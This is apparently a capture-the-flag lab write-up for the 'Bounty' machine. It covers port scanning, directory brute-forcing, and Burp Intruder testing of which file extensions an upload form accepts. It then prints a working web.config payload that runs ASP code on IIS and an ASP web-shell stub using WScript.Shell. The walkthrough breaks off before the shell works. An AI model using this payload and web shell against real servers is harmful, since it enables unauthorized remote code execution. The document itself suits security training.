bounty

nmap

nmap -sV -sC -oA bounty 10.10.10.93
images/273-1.png

only port that's open is 80 running ISS httpd 7.5

http

gobuster

gobuster dir -w /usr/share/wordlists/dirbustser/directory-list -x aspx -u 10.10.10.93
images/274-1.png

Transfer.aspx worth noting

transfer.aspx

transfer.aspx has an upload button! lets see if we can take advantage of it
images/276-1.png

lets try uploading a simple text file
images/276-2.png

file extension spraying with burpsuite's intruder

here we're going to find out which extensions from this list are acceptable upload formats for bounty

images/280-1.png

we'll test which extensions the webserver will accept with burpsuite's intruder:

to add a variable we can brute force, use the images/280-2.png

button

intruder extension bruteforce

we'll paste the extension list into intruder's payload options
images/282-1.png

Looking intruder's response lengths, we see one filetype that's response is different than the others
images/282-3.png

A closer look confirms Config files are accepted images/282-4.png

web.config for RCE

https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
images/275-1.png

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>

upload web.config

since gobuster discovered an /UploadedFiles directory, lets see if our web.config got uploaded there
images/278-2.png

' it is running the ASP code if you can see 3 by opening the web.config file! We have code execution!
Response.write(1+2)

simple aspx command

now that we know we have code execution, lets see if we can inject something a little more sinister than a math function
images/284-1.png

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("")
o = cmd.StdOut.Readall()
Response.write(o)
%>

burp

swap in shells.aspx

images/286-1.png

unfortunately, our Response.write(o) call, which should output whoami's resoonse, is not getting run
images/286-3.png

ping myself

images/288-1.png